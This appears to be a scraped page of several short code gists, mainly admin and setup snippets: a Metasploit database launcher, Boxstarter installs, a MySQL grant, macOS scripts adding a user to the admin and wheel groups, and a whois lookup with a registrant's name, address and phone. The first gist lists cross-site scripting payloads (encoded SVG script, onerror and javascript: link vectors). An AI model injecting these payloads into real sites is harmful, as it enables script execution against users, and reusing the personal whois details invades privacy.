This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" allowscriptaccess="always"></embed> | |
<object data="https://xss.rocks/scriptlet.html" type="text/x-scriptlet"></object> | |
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS"> | |
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe | |
<form><a href="javascript:\u0061lert(1)">X |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
service postgresql start | |
msfdb init | |
echo "Launching msfconsole..." | |
echo "Run the following command inside msfconsole: db_status" | |
echo " " | |
echo "If all goes well, you should see the following message:" | |
echo "[*] postgresql connected to msf3" | |
sleep 5 | |
msfconsole |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sectest01:pentest lmayo$ whois btempurl.com | |
Registrant Name: Erwin Yu | |
Registrant Organization: UMA | |
Registrant Street: 17800 castleton st 17800 castleton st | |
Registrant City: City of industry | |
Registrant State/Province: CA | |
Registrant Postal Code: 91748 | |
Registrant Country: US | |
Registrant Phone: +1.3109897879 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
GRANT ALL PRIVILEGES ON dbTest.* To 'user'@'hostname' IDENTIFIED BY 'password'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Set-WindowsExplorerOptions -EnableShowHiddenFilesFoldersDrives -EnableShowProtectedOSFiles -EnableShowFileExtensions | |
Enable-RemoteDesktop | |
Set-StartScreenOptions -EnableBootToDesktop | |
cinst fiddler4 | |
cinst git-credential-winstore | |
cinst console-devel | |
cinst sublimetext2 | |
cinst poshgit | |
cinst dotpeek | |
Install-WindowsUpdate -AcceptEula |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
while true; do | |
read -p "Do you wish to install this program?" yn | |
case $yn in | |
[Yy]* ) make install; break;; | |
[Nn]* ) exit;; | |
* ) echo "Please answer yes or no.";; | |
esac | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import sys, subprocess, getopt | |
if len(sys.argv) != 2: | |
print "Usage: osx_add_user_to_group.py <user>" | |
sys.exit(1) | |
for arg in sys.argv[1:]: | |
bashCommand1 = "sudo dseditgroup -o edit -a %s -t user admin" % sys.argv[1] | |
bashCommand2 = "sudo dseditgroup -o edit -a %s -t user wheel" % sys.argv[1] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
sudo dseditgroup -o edit -a $username_to_add -t user admin | |
sudo dseditgroup -o edit -a $username_to_add -t user wheel |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{OS X version of usermod} | |
{osx_add_user_to_group.sh} | |
{filecount} | |
{mac_add_user2group.sh} | |
sudo dseditgroup -o edit -a $username_to_add -t user admin | |
sudo dseditgroup -o edit -a $username_to_add -t user wheel |
NewerOlder